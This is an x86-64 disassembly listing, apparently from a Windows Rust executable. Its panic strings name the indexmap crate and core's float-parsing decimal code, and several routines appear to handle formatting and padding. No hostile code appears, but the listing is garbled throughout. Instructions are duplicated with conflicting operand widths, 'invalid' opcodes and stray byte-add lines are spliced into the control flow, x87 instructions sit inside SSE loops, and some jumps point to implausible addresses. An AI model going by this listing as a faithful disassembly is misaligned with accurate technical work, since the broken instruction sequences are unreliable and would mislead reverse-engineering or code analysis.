lea rax, [0x14016a518]
jmp 0x1400554e2
lea rax, [0x14016a558]
jmp 0x1400554e2
lea rax, [0x14016a598]
jmp 0x1400554e2
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
adc bh, bh
push rax
sub cl, al
jmp 0x1400554f8
call qword [rax + 0x28]
shr ebx, 0x10
and bl, 1
mov qword [rsp + 0x90], 0
mov byte [rsp + 0x99], 3
test byte [rcx + rbx*4], ah
add byte [rax], al
add byte [rbx], al
mov qword [rsp + 0x48], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x60], 8
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 8
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x98], bl
test bp, bp
je 0x1400558b5
mov rcx, qword [r12 - 8]
cmp rcx, r15
mov rbx, qword [rsp + 0x28]
jae 0x140055934
shl rcx, 7
add r14, rcx
lea rcx, [rsp + 0x30]
call fcn.1400367b0
movzx ecx, byte [r14 + 0x69]
mov al, 2
cmp cl, 3
je 0x140055591
movzx ecx, cl
mov eax, 2
cmovae eax, ecx
mov byte [r14 + 0x69], al
inc qword [r14 + 0x60]
mov rdx, qword [r14 + 0x40]
cmp rdx, qword [r14 + 0x38]
jne 0x1400555b0
lea rcx, [r14 + 0x30]
call fcn.14004ef00
mov rdx, qword [r14 + 0x40]
mov rax, qword [r14 + 0x30]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
pxor xmm6, xmm6
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [r14 + 0x40], rdx
mov rdx, qword [r14 + 0x58]
cmp rdx, qword [r14 + 0x50]
jne 0x1400555e8
lea rcx, [r14 + 0x48]
call fcn.14004ef00
mov rdx, qword [r14 + 0x58]
mov rax, qword [r14 + 0x48]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movdqu xmmword [rax + rcx*8 + 8], xmm6
mov qword [r14 + 0x58], rdx
mov rax, qword [rbx + 0x10]
mov rcx, qword [rax + 0x128]
test rcx, rcx
je 0x140055891
mov rax, qword [rax + 0x118]
imul r10, rcx, 0x68
add r10, rax
pcmpeqd xmm6, xmm6
xorps xmm7, xmm7
mov qword [rsp + 0x28], r10
jmp 0x14005566d
mov r10, qword [rsp + 0x28]
mov rax, qword [r14 + 0x48]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movups xmmword [rax + rcx*8 + 8], xmm7
mov qword [r14 + 0x58], rdx
mov rax, rbp
cmp rbp, r10
je 0x140055891
lea rbp, [rax + 0x68]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rax + 0x28]
shl rdx, 3
xor r8d, r8d
cmp rdx, r8
je 0x140055661
lea r9, [r8 + 8]
cmp qword [rcx + r8], rdi
mov r8, r9
jne 0x140055680
mov r15, qword [rax + 0x10]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
mov r8, r15
call fcn.140037220
mov rbx, rax
mov r14, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi]
mov r9, qword [rsi + 8]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
mov rax, rbx
and rax, r9
movdqu xmm1, xmmword [r8 + rax]
movdqa xmm2, xmm0
pcmpeqb xmm2, xmm1
pmovmskb r12d, xmm2
nop word [rax + rax]
mov r11d, r12d
test r12w, r12w
je 0x140055740
tzcnt r13d, r11d
add r13, rax
and r13, r9
lea rcx, [r13*8]
mov r12, r8
sub r12, rcx
mov rcx, qword [r12 - 8]
cmp rdx, rcx
jbe 0x1400558f6
lea r12d, [r11 - 1]
and r12d, r11d
shl rcx, 7
cmp qword [r14 + rcx + 0x78], r15
jne 0x1400556f0
jmp 0x140055760
pcmpeqb xmm1, xmm6
pmovmskb ecx, xmm1
test ecx, ecx
jne 0x140055767
add rax, r10
add rax, 0x10
add r10, 0x10
jmp 0x1400556d4
neg r13
lea rbx, [r8 + r13*8]
mov qword [rsp + 0x90], 0
mov byte [rsp + 0x99], 3
mov qword [rsp + 0x48], 8
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x50]
movups xmmword [rax], xmm7
mov qword [rsp + 0x60], 8
movups xmmword [rax + 0x18], xmm7
mov qword [rsp + 0x78], 8
mov byte [rsp + 0x98], 0
movups xmmword [rax + 0x30], xmm7
test r11w, r11w
je 0x140055851
mov rcx, qword [rbx - 8]
cmp rcx, rdx
jae 0x140055915
shl rcx, 7
add r14, rcx
lea rcx, [rsp + 0x30]
call fcn.1400367b0
movzx ecx, byte [r14 + 0x69]
mov al, 2
cmp cl, 3
je 0x1400557f6
movzx eax, cl
mov ecx, 2
cmovb eax, ecx
mov byte [r14 + 0x69], al
inc qword [r14 + 0x60]
mov rdx, qword [r14 + 0x40]
cmp rdx, qword [r14 + 0x38]
jne 0x140055815
lea rcx, [r14 + 0x30]
call fcn.14004ef00
mov rdx, qword [r14 + 0x40]
mov rax, qword [r14 + 0x30]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], 8
inc rdx
movups xmmword [rax + rcx*8 + 8], xmm7
mov qword [r14 + 0x40], rdx
mov rdx, qword [r14 + 0x58]
cmp rdx, qword [r14 + 0x50]
jne 0x140055640
lea rcx, [r14 + 0x48]
call fcn.14004ef00
mov rdx, qword [r14 + 0x58]
jmp 0x140055640
mov rcx, rsi
mov rdx, rbx
mov r8, r15
lea r9, [rsp + 0x30]
call fcn.140036f60
mov r14, rax
mov rdx, qword [rsi + 0x30]
cmp rax, rdx
jae 0x140055923
shl r14, 7
add r14, qword [rsi + 0x20]
movzx ecx, byte [r14 + 0x69]
mov al, 2
cmp cl, 3
jne 0x1400557eb
jmp 0x1400557f6
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r9, [rsp + 0x30]
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call fcn.140036f60
mov r14, rax
mov rdx, qword [rsi + 0x30]
cmp rax, rdx
mov rbx, qword [rsp + 0x28]
jae 0x140055923
shl r14, 7
add r14, qword [rsi + 0x20]
movzx ecx, byte [r14 + 0x69]
mov al, 2
cmp cl, 3
jne 0x140055586
jmp 0x140055591
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rdx, r15
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore_raw.rs
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rcx, r14
call fcn.140160ed0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore_raw.rs
mov rdx, r15
call fcn.140160ed0
ud2
cmp rax, rbx
je 0x140058d36
out dx, al
jne 0x140058d2a
cmp r11, rbx
je 0x140058d36
lea r14, [rdx + 1]
cmp r14, rcx
je 0x140058d36
lea r15, [rbx + 1]
cmp r15, r9
je 0x140058d33
movzx ebp, byte [rdx + 1]
add rdx, 2
movzx r14d, byte [r8 + rbx + 9]
inc r15
mov rbx, r15
cmp r14b, bpl
je 0x140058cd0
cmp r14b, bpl
sbb rsi, 0
jmp 0x140058d36
dec rsi
lea rbx, [rsi + r8]
lea ebx, [rsi + rax]
add rbx, 7
xor edx, edx
movabs rdi, 0xcccccccccccccccd
jmp 0x140058d59
mov byte [rbx + r14], al
test r9, r9
je 0x140058db2
mov r14, r9
dec r9
cmp r14, 0x301
jae 0x140058e51
movzx r11d, byte [r8 + r14 + 7]
mov ecx, r10d
shl r11, cl
add r11, rdx
mov rax, r11
mul rdi
lea rcx, [r14 + rsi]
dec rcx
shr rdx, 3
lea rax, [rdx + rdx]
lea r15, [rax + rax*4]
mov rax, r11
sub rax, r15
cmp rcx, 0x300
add byte [rax], al
add byte [rax], al
jb 0x140058d50
test rax, rax
je 0x140058d54
mov byte [r8 + 0x30c], 1
jmp 0x140058d54
cmp r11, 0xa
jae 0x140058dfe
mov rcx, qword [r8]
add rcx, rsi
cmp rcx, 0x300
mov eax, 0x300
cmovb rax, rcx
mov qword [r8], rax
add dword [r8 + 0x308], esi
test rax, rax
je 0x140058df1
dec rax
cmp byte [r8 + rax + 8], 0
jne 0x140058df1
mov qword [r8], rax
add rax, 0xffffffffffffffff
jb 0x140058de0
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea r9, [rsi - 1]
jmp 0x140058e1e
invalid
sbb ah, byte [rsi + 0x66]
nop word cs:[rax + rax]
invalid
add byte [rbx - 0x78], al
or byte [rax], r9b
mov byte [r8 + r9 + 8], al
dec r9
cmp rcx, 0xa
jb 0x140058db8
mov rcx, rdx
mov rax, rdx
mul rdi
shr rdx, 3
lea rax, [rdx + rdx]
lea r10, [rax + rax*4]
mov rax, rcx
sub rax, r10
cmp r9, 0x300
jb 0x140058e10
test rax, rax
je 0x140058e15
mov byte [r8 + 0x30c], 1
jmp 0x140058e15
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov edx, 0x300
mov rcx, r9
call fcn.140160ed0
ud2
adc dword ss:[rax], eax
mov ecx, 0x300
mov edx, 0x300
call fcn.140160ed0
add al, ch
push rbx
adc byte [rax], 0
ud2
int3
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
add cl, al
jmp 0x11170d357
sub edx, r10d
movzx edx, dx
mov bh, 0xd2
add cl, al
jmp 0x11170d357
mov bh, 0xd2
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
mov dword [rsp + rax + 0x2f], edx
mov dword [rsp + rax + 0x2f], edx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x140058f7b
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x140058f89
ja 0x140058f34
jmp 0x140058f5e
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, [0x140204680]
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0x58
pop rdi
pop rsi
ret
mov dword [rcx], edx
mov qword [rcx + 8], r8
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rax
add rsp, 0x58
ret
mov r8, r14
test r14, r14
je 0x140059146
cmp r14, 1
jne 0x1400590c6
xor r8d, r8d
xor edx, edx
jmp 0x140059130
add byte [rax], al
test al, 4
jne 0x140059081
xor ebx, ebx
mov r13, qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
cmp qword [rdi], 0
jne 0x140059157
jmp 0x14005918d
mov rdx, r14
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r8d, r8d
movdqa xmm1, xmmword [0x1401688b0]
movdqa xmm2, xmmword [0x1401687a0]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
movzx r9d, word [rbx + r8]
or al, 3
movd xmm3, r9d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
cmp rdx, r8
jne 0x1400590f0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r8, xmm1
cmp rdx, r14
je 0x140059146
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x140059130
add rcx, r8
add ecx, eax
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
je 0x14005918d
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x14005918d
test al, 8
mov qword [rsp + 0x40], r13
jne 0x1400591e4
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
movzx edi, byte [rdi + 0x38]
movzx edi, byte [rdi + 0x38]
lea rax, [0x14020868c]
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x140059181.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.140059860
mov bl, 1
test al, al
je 0x1400591c4
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
movzx eax, byte [rdi + 0x38]
mov byte [rsp + 0x37], al
mov byte [rdi + 0x38], 1
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
mov rdx, r12
mov r8d, ebp
call 0x128df1b61
invalid
invalid
add byte [rax], al
mov bl, 1
test al, al
invalid
jne 0x1400591b1
call 0x128df1b61
invalid
sal byte [rbp - 0x71], 0x48
inc esi
inc rsi
nop word cs:[rax + rax]
dec rsi
je 0x1400592ec
mov rcx, r13
mov edx, 0x30
call qword [r12 + 0x20]
test al, al
invalid
je 0x140059230
jmp 0x14005c2fa
sal byte [rsi + riz*8 - 0x17], 0x62
invalid
jmp 0x1400591b1
mov r15, rsi
shr r15, 1
inc rsi
shr rsi, 1
mov r12, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
mov edi, dword [rdi + 0x30]
inc r15
nop dword [rax]
dec r15
je 0x140059289
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
test al, al
je 0x140059270
mov bl, 1
jmp 0x1400591b1
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, r13
mov r8d, ebp
mov r9, rbx
call fcn.140059860
mov bl, 1
test al, al
jne 0x1400591b1
mov rcx, r12
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x38]
call qword [r13 + 0x18]
test al, al
jne 0x1400591b1
mov r14, rsi
neg r14
mov rbx, 0xffffffffffffffff
nop
lea rax, [r14 + rbx]
cmp rax, 0xffffffffffffffff
je 0x14005931a
mov rcx, r12
mov edx, edi
call qword [r13 + 0x20]
inc rbx
test al, al
je 0x1400592d0
jmp 0x14005931d
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r15
call qword [r12 + 0x18]
test al, al
jne 0x1400591b1
mov eax, dword [rsp + 0x38]
mov dword [rdi + 0x30], eax
movzx eax, byte [rsp + 0x37]
mov byte [rdi + 0x38], al
xor ebx, ebx
jmp 0x1400591b1
mov rbx, rsi
cmp rbx, rsi
setb bl
jmp 0x1400591b1
add dword [rax + 0x21], ecx
ret 0x8341
je 0x1400597f8
mov r9, qword [r9 + r10*8 + 0x10]
mov r10, r9
mov edx, ecx
mov edx, ecx
not r10
shr r10, 7
shr r9, 6
or r9, r10
and r9, rax
add rdx, r9
and r8, rdx
shr rdx, 8
movabs rax, 0x700ff00ff00ff
and rax, rdx
add rax, r8
imul rax, rcx
shr rax, 0x30
add rax, rsi
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x50]
movaps xmm12, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
cmp r11, r10
je 0x140059933
cmp r10, 0x300
cmp edx, 0x300
je 0x140059a82
nop
add dword [rax], eax
add byte [rbx - 0x73], cl
or al, 0x80
lea rcx, [r8 + r8*4]
movzx r8d, byte [rax + r10 + 8]
lea r8, [r8 + rcx*2]
mov rsi, r8
mov ecx, edx
shr rsi, cl
test rsi, rsi
jne 0x140059969
cmp r9, r10
je 0x140059933
lea rcx, [r8 + r8*4]
movzx r8d, byte [rax + r10 + 9]
lea r8, [r8 + rcx*2]
add r10, 2
mov rsi, r8
mov ecx, edx
shr rsi, cl
test rsi, rsi
je 0x1400598e0
jmp 0x14005996c
test r8, r8
je 0x140059a7a
mov r9, r8
mov ecx, edx
shr r9, cl
mov r10, r11
test r9, r9
jne 0x14005996c
nop dword [rax]
add byte [rbp + 1], cl
ror byte [rdi - 0x73], 4
add r8, r8
lea r8, [r8 + r8*4]
or byte [rcx - 1], 0xc2
or byte [rcx - 1], 0xc2
mov r9, r8
mov ecx, edx
shr r9, cl
test r9, r9
je 0x140059950
jmp 0x14005996c
inc r10
mov ecx, dword [rax + 0x308]
sub ecx, r10d
inc ecx
mov dword [rax + 0x308], ecx
cmp ecx, 0xfffff801
jge 0x1400599a2
mov qword [rax], 0
mov dword [rax + 0x308], 0
mov byte [rax + 0x30c], 0
jmp 0x140059a7a
mov rsi, 0xffffffffffffffff
mov ecx, edx
shl rsi, cl
not rsi
mov r9, r11
sub r9, r10
jbe 0x140059a03
mov edi, 8
nop
cmp r10, 0x300
jae 0x140059a9a
mov rbx, r8
mov ecx, edx
shr rbx, cl
and r8, rsi
lea rcx, [r8 + r8*4]
movzx r8d, byte [rax + r10 + 8]
inc r10
lea r8, [r8 + rcx*2]
mov byte [rax + rdi], bl
inc rdi
cmp r11, r10
jne 0x1400599c0
test r8, r8
jne 0x140059a27
invalid
mov qword cs:[rax], r9
mov qword [rax], r9
test r9, r9
jne 0x140059a49
jmp 0x140059a7a
test r8, r8
je 0x140059a73
xor r9d, r9d
jmp 0x140059a27
mov byte [rax + r9 + 8], r10b
inc r9
and r8, rsi
add r8, r8
lea r8, [r8 + r8*4]
test r8, r8
je 0x140059a46
sal byte [rdi + rbx + 0x4d], 0x89
ret 0xd189
mov ecx, edx
mov r10, r8
mov ecx, edx
shr r10, cl
cmp r9, 0x300
jb 0x140059a10
test r10b, r10b
je 0x140059a18
mov byte [rax + 0x30c], 1
jmp 0x140059a18
mov qword [rax], r9
cmp r9, 0x300
add byte [rax], al
ja 0x140059ab0
dec r9
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp byte [rax + r9 + 8], 0
jne 0x140059a7a
mov qword [rax], r9
add r9, 0xffffffffffffffff
jb 0x140059a60
jmp 0x140059a7a
mov qword [rax], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov ecx, 0x300
mov edx, 0x300
call fcn.140160ed0
ud2
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov edx, 0x300
mov rcx, r10
call fcn.140160ed0
ud2
dec r9
lea r8, str.librarycore_src_numdec2fltdecimal.rs
mov edx, 0x300
mov rcx, r9
call fcn.140160ed0
ud2
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, qword [rcx + 0x10]
mov rdx, rax
or rdx, rcx
je 0x140059d1d
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4b], cl
sbb byte [rbp + rcx*4 + 4], cl
lea eax, [rdi + rsi]
lea eax, [rdi + rsi]
inc r9
xor ecx, ecx
mov rdx, rdi
jmp 0x140059b3a
lea r14, [rdx + 1]
sub rcx, rdx
add rcx, r14
mov rdx, r14
cmp r10d, 0x110000
je 0x140059c55
dec r9
je 0x140059bd9
cmp rdx, r8
je 0x140059c55
movzx r14d, byte [rdx]
movzx r10d, r14b
test r10b, r10b
jns 0x140059b20
mov r11d, r10d
and r11d, 0x1f
movzx r15d, byte [rdx + 1]
and r15d, 0x3f
cmp r10b, 0xdf
jbe 0x140059bb3
movzx ebp, byte [rdx + 2]
shl r15d, 6
and ebp, 0x3f
or ebp, r15d
cmp r14b, 0xf0
jb 0x140059bc6
movzx r10d, byte [rdx + 3]
and r11d, 7
jrcxz 0x140059b93
jrcxz 0x140059b93
shl r11d, 0x12
shl ebp, 6
invalid
invalid
and r10d, 0x3f
or r10d, ebp
or r10d, r11d
cmp r10d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x140059c55
lea r14, [rdx + 4]
jmp 0x140059b24
lea r14, [rdx + 2]
shl r11d, 6
or r11d, r15d
mov r10d, r11d
jmp 0x140059b24
lea r14, [rdx + 3]
shl r11d, 0xc
or ebp, r11d
mov r10d, ebp
mov edx, ebp
mov edx, ebp
jmp 0x140059b24
cmp rdx, r8
je 0x140059c55
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140059c31
cmp r8b, 0xe0
jb 0x140059c31
cmp r8b, 0xf0
jb 0x140059c31
movzx r8d, r8b
movzx r9d, byte [rdx + 1]
and r9d, 0x3f
movzx r10d, byte [rdx + 2]
and r10d, 0x3f
movzx edx, byte [rdx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 0xc
shl r10d, 6
or r10d, r9d
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x140059c55
test rcx, rcx
je 0x140059c47
cmp rcx, rsi
jae 0x140059c45
cmp byte [rdi + rcx], 0xc0
jge 0x140059c47
xor edx, edx
jmp 0x140059c4a
jne 0x140059c41
mov rdx, rdi
test rdx, rdx
cmovne rsi, rcx
cmovne rdi, rdx
test rax, rax
je 0x140059d1d
mov r15, qword [rbx + 8]
cmp rsi, 0x20
jae 0x140059c80
mov rax, rsi
test rsi, rsi
je 0x140059cff
cmp rsi, 1
jne 0x140059c8d
xor eax, eax
xor ecx, ecx
jmp 0x140059ceb
mov rcx, rdi
mov rdx, rsi
call fcn.140059330
jmp 0x140059cff
mov rcx, rsi
and rcx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor eax, eax
movdqa xmm1, xmmword [0x1401688b0]
movdqa xmm2, xmmword [0x1401687a0]
nop word [rax + rax]
movzx edx, word [rdi + rax]
movd xmm3, edx
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
fcmovnu st(0), st(2)
fcmovnu st(0), st(2)
paddq xmm0, xmm3
add rax, 2
cmp rcx, rax
jne 0x140059cb0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x140059cfa
xor edx, edx
cmp byte [rdi + rcx], 0xc0
setge dl
add rax, rdx
inc rcx
ror byte [rax - 1], 1
ror dword [rax + 0x39], 0xce
cmp rsi, rcx
jne 0x140059ceb
in al, dx
sub r15, rax
jbe 0x140059d1d
movzx eax, byte [rbx + 0x38]
lea rcx, [0x14020869c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r13d, r13d
jmp 0x140059d56
mov rcx, qword [rbx + 0x20]
mov ecx, dword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
mov r13, r15
xor r15d, r15d
jmp 0x140059d56
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov r14, qword [rbx + 0x20]
mov r12, qword [rbx + 0x28]
mov ebx, dword [rbx + 0x30]
inc r13
nop word cs:[rax + rax]
mov rcx, r14
dec r13
je 0x140059d87
mov edx, ebx
call qword [r12 + 0x20]
test al, al
je 0x140059d70
mov al, 1
jmp 0x140059dd6
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140059dd6
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x140059dcd
mov rcx, r14
mov edx, ebx
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x140059db0
jmp 0x140059dd0
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
ret
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xa0
movabs al, byte [0x9024bc8b4c000000]
movabs al, byte [0x9024bc8b4c000000]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], cl
sub r15b, r15b
call qword [rax + 0x18]
invalid
invalid
jl 0x14005d5ec
add byte [rax], al
mov rcx, qword [rcx + 0x20]
mov rax, qword [rdi + 0x28]
call qword [rax + 0x18]
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea rdi, [rsp + 0x28]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
mov rdx, rsi
mov r8, r15
call fcn.14005cdb0
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.14005cdb0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14005d661
invalid
mov bl, 1
test cl, cl
jne 0x14005d663
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14005d645
cmp byte [rsp + 0x39], 0
je 0x14005d645
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14005d663
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], cl
sub r15b, dil
push rax
sbb byte [rax - 0x77], cl
pop rsp
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
add byte [rax], al
add dh, al
and al, 0x39
add byte [rax - 0x73], cl
pop rsp
and al, 0x28
add byte [rax], al
add dh, al
and al, 0x39
add byte [rax - 0x73], cl
pop rsp
and al, 0x28
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.14005cdb0
lea r8, [0x140195718]
add eax, 0x138033
add eax, 0x138033
mov rcx, rbx
mov rdx, r14
call fcn.14005cdb0
idiv bh
dec dword [rbp + rcx*4 + 5]
mov dword [rax - 0x76b7ffec], edi
invalid
mov rdx, rsi
call fcn.14005cdb0
scasb al, byte [rdi]
idiv bh
dec dword [rax - 0x75]
and al, 0x28
idiv bh
dec dword [rbp + rcx*4 + 5]
mov dword [rax - 0x76b7ffec], edi
invalid
scasb al, byte [rdi]
idiv bh
dec dword [rax - 0x75]
and al, 0x28
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14005d767
mov bl, 1
test cl, cl
jne 0x14005d769
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14005d74b
invalid
sub dword [rax + 0x39247c], eax
cmp byte [rsp + 0x39], 0
je 0x14005d74b
test byte [rsi + 0x34], 4
xor al, 4
jne 0x14005d74b
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x17c972
sub byte [rax - 0x73], r9b
adc eax, 0x17c972
mov r8d, 1
call qword [rax + 0x18]
test al, al
invalid
jne 0x14005d769
sal byte [rbp + 0x1e], 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
adc eax, 0x1827ee
adc eax, 0x1827ee
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14005d769
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov al, 1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x38], rdi
lea rax, [rbx + rdi]
mov qword [rsp + 0x60], rax
xor r13d, r13d
mov rdi, rbx
xor r15d, r15d
mov qword [rsp + 0x58], rbx
pop rsp
and al, 0x58
pop rsp
and al, 0x58
jmp case.0x14003207d.238
add r13, r15
mov rbx, qword [rsp + 0x58]
pop rsp
and al, 0x58
pop rsp
and al, 0x58
sub r15, r12
add r15, rdi
cmp rdi, qword [rsp + 0x60]
cmp edi, dword [rsp + 0x60]
je 0x14005da52
mov r12, rdi
movzx ebp, byte [rdi]
test bpl, bpl
